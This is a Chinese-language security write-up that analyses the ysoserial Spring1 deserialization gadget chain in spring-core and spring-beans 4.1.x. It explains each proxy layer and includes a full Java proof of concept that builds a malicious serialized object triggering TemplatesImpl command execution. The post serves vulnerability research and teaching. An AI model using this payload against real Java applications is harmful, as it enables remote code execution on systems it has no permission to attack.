影响版本

  • spring-core : 4.1.4.RELEASE
  • spring-beans : 4.1.4.RELEASE

导入依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>


<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>

前提知识

ysoserial给出的spring1的利用链还是比较完整的。

/*
   Gadget chain:

      ObjectInputStream.readObject()
         SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.findMethod()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.invokeMethod()
               Method.invoke()
                  Templates(Proxy).newTransformer()
                     AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
                        ObjectFactory(Proxy).getObject()
                           AnnotationInvocationHandler.invoke()
                              HashMap.get()
                        Method.invoke()
                           TemplatesImpl.newTransformer()
                              TemplatesImpl.getTransletInstance()
                                 TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.TransletClassLoader.defineClass()
                                       Pwner*(Javassist-generated).<static init>
                                          Runtime.exec()

 */

然后根据Gadget Chain涉及到的关键利用类进行知识补充。

MethodInvokeTypeProvider

spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider。这个类实现了TypeProvider接口,表示这是一个可以进行反序列化的类。

看一下这个类的readObject方法,先是调用org.springframework.util.ReflectionUtils#findMethod(java.lang.Class<?>, java.lang.String)方法,传入的参数为自身的provider.getType().getClass()methodName

然后调用org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object)方法,反射调用执行findMethod获得的method方法,并且这个反射调用是一个无参调用。

对于这个类的readObject方法而言,methodName我们可以通过反射设置为newTransformer()方法,关键是如何控制providergetType()方法返回的值处理成 TemplatesImpl ,就可以触发漏洞了。

同时可以看到,org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider类中也对TypeProvider接口中的getType方法进行了重构,返回值是一个Type类型的变量。

ObjectFactoryDelegatingInvocationHandler

在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler这个类,实现了SerializableInvocationHandler接口。表明了这个类一方面可以实现序列化,一方面可以实现动态代理代理某些类。

在 invoke 代理时,会调用 ObjectFactory 的 getObject 方法返回ObjectFactory的实例用于 Method 的反射调用。

ObjectFactory 的 getObject 方法返回的对象是泛型的。

AnnotationInvocationHandler

该类在CC1的调试中,分别通过LazyMapTransformedMap的利用中已经分析过了。

这里主要分析一下这个类触发代理时invoke()会做什么事情。

先获得需要反射调用执行的Method的Name,如果方法是toString、hashCode、annotationType等方法,就会对var7进行对应的赋值。

如果不是上述提到的几种方法,就会进入switch里面的default模块进行执行,memberValues存储的即是AnnotationInvocationHandler初始化的时候传入的Map。

var4是需要调用方法的名字,然后将var4作为key在Map中寻找对应的value,最后将这个value返回。

这个类的invoke代理的利用思路就有了:

  • 如果说我们想控制一个类的某个方法的返回值
  • 可以构造一个Map,里面的key是需要更改返回值的方法名,value是对应的返回值。
  • 然后用AnnotationInvocationHandler来动态代理这个类。
  • 这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandlerinvoke()方法后,返回值就被修改为需要的返回值。

分析调试

这条链分析起来比较复杂,主要靠的是使用InvocationHandler层层代理。用了两次AnnotationInvocationHandler实现动态代理来修改方法的返回值,两个动态代理之间是通过ObjectFactoryDelegatingInvocationHandler的invoke代理作为chain连接起来的。

直接就用了su18师傅对spring1分析的POC:

1、先构造一个AnnotationInvocationHandler,实现了代理ObjectFactorygetObject()方法,修改返回值使其返回TemplatesImpl。

2、然后将动态代理后的ObjectFactory类型的变量,传递给ObjectFactoryDelegatingInvocationHandler类进行初始化。这样只要触发了ObjectFactoryDelegatingInvocationHandler代理类的任意方法,都会触发代理的invoke()方法,从而触发getObject()方法的调用。

3、在org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider#readObject方法中,通过反射将methodName修改为newTransformer()。同时,ReflectionUtils.findMethod()方法需要this.provider.getType()返回的类中存在newTransformer()方法,才可以成功获得newTransformer()方法。

MethodInvokeTypeProvider里面的provider成员变量是TypeProvider类型,因此使用AnnotationInvocationHandler动态代理来修改TypeProvidergetType()方法返回的值。同时因为getType()方法返回的类型为Type,并且我们需要在返回值的类中找到对应的newTransfromer()方法,所以getType()方法需要修改的返回值是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类。

4、第三步中,ObjectFactoryDelegatingInvocationHandler实现了InvocationHandler接口,我们就可以使用ObjectFactoryDelegatingInvocationHandler来代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类,并将这个类放到getType()返回的值中。

​ 这样当程序运行到到org.springframework.util.ReflectionUtils#invokeMethod方法的时候,会调用ObjectFactoryDelegatingInvocationHandler代理后的类的newTransformer()方法,然后就会触发org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler#invoke方法,然后就会触发ObjectFactorygetObject(),这就与第一步和第二步做的事情联系到一起了。

5、最终在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler#invoke中实现触发命令执行。

TemplatesImpl tmpl = Util.SeralizeUtil.generateTemplatesImpl();
        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        map.put("getObject", tmpl);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
        ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
                // 当触发factory.getObject()方法时,返回值就被修改为tmpl

        // test :  factory.toString();

                //ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
                //并且会调用 method.invoke(返回值,args)
                //此时返回值被我们使用动态代理改为了 TemplatesImpl
                //接下来需要 method 是 newTransformer(),就可以触发调用链了
        Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
        ofdConstructor.setAccessible(true);
        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

                //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
                //hashMap.get(1);
        // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
        // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

        // typeTemplateProxy.hashCode();

        // 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("getType", typeTemplateProxy);

        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, newInvocationHandler);


        // 初始化 MethodInvokeTypeProvider
        Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Field field   = clazz2.getDeclaredField("methodName");
        field.setAccessible(true);
        field.set(objects, "newTransformer");

        // Util.SeralizeUtil.writeObjectToFile(objects,"spring1");
        Util.SeralizeUtil.readFileObject("spring1");

接下来通过调试分析一下完整的Gadget链触发的过程。

程序反序列化的入口点位于:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider#readObject。当前的provider是一个AnnotationInvocationHandler动态代理类,memberValues存储的key为getType,对应的value是一个ObjectFactoryDelegatingInvocationHandler动态代理的类,其中的objectFactory成员变量同样也是一个由AnnotationInvocationHandler动态代理的类。

调用this.provider.getType()方法会触发sun.reflect.annotation.AnnotationInvocationHandler#invoke方法,会返回一个ObjectFactoryDelegatingInvocationHandler的动态代理类。

然后在org.springframework.util.ReflectionUtils#findMethod()遍历了TypeTemplate两个接口的所有方法中找到了newTrasnformer()方法。

接着在调用ReflectionUtils.invokeMethod()方法前,传入参数的时候同样会再度触发动态代理修改provider.getType()方法返回值的情况。与上文一致,就不在赘述。

直接进入org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object, java.lang.Object...)里面分析,target是ObjectFactoryDelegatingInvocationHandler代理的类,会反射调用target的newTransformer()方法,ObjectFactoryDelegatingInvocationHandler实现了InvocationHandler动态代理接口,因此会先触发ObjectFactoryDelegatingInvocationHandlerinvoke方法。

ObjectFactoryDelegatingInvocationHandlerinvoke方法中,objectFactory成员变量是一个AnnotationInvocationHandler的代理类,里面的Map存储的key为getObject,对应的value为templatesImpl类。

当触发this.objectFactory.getObject()方法的时候,同样也会触发sun.reflect.annotation.AnnotationInvocationHandler#invoke方法,同时因为org.springframework.beans.factory.ObjectFactory#getObject返回的类型为泛型,所以会直接返回封装好的TemplateImpl类型的恶意类。

接着就通过反射调用执行com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer,实现命令执行。

总结

spring1链的作者对动态代理的理解相当到位,嵌套了很多层代理,充分利用每层代理的invoke方法来实现自己的目的。

通过AnnotationInvocationHandlerTypeProviderObjectFactory类的代理,使得在触发getType()getObject()方法的时候,会将对应方法的返回值修改。

通过创建同时实现TypeTempletes接口的代理类来使目标可以获取到newTransformer的Method对象,最后又利用ObjectFactoryDelegatingInvocationHandler动态获取TemplatesImpl对象反射调用newTransformer完成利用。

整个链详细的利用过程分析调试已经说的很清楚了。

这里最后给出三层代理构成的恶意类的示意图:

参考:

https://su18.org/post/ysoserial-su18-3/#spring1

https://ch1e.cn/post/spring-xi-lie-fan-xu-lie-hua-lian/

https://wooyun.js.org/drops/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B7%A5%E5%85%B7ysoserial%E5%88%86%E6%9E%90.html

https://tttang.com/archive/1769/#toc__3

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖